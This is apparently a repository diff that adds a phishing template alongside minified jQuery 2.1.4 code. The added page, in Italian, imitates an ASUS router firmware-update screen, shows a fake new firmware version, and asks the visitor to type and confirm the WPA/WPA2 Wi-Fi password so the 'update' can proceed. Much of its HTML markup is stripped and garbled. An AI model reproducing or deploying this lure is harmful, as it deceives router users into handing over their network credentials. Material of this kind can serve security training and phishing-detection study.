memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n(" + + + + + + + + + + + + +
      + + + + + + + + + + + +
    + + + + + + + +
    +
     
    +
    Amministrazione - Aggiornamento Firmware
    +
    +

    Un aggiornamento firmware è disponibile. Per avere la miglior esperienza, ASUS consiglia fortemente di aggiornare il vostro router all'ultima versione del firmware.

    +
    Nota: +
      +
    1. L'ultima versione del firmware include tutti gli aggiornamenti della versione precedente.
    2. +
    3. Per scaricare e aggiornare il firmware è necessario inserire la password WPA/WPA2 e premere il tasto AGGIORNA per procedere.
    4. +
    5. +

      Il download e l'aggiornamento del firmware può richiedere alcuni minuti. Durante l'aggiornamento non spegnere il router nè chiudere il browser.

      +
    6. +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Signature Version1.038
    Versione Firmware Corrente3.0.0.4.378_4980-g8c12415
    Nuova Versione Firmware4.3.0.1.512_3045-g8c15627
    WPA/WPA2
    Conferma WPA/WPA2
    + +
    +
    +
    +

    + +

    +
    +
    + +
     
    + + + + + + + + + \ No newline at end of file diff --git a/Sites/Template/asus/js/jquery-2.1.4.min.js b/Sites/Template/asus/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/Sites/Template/asus/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return 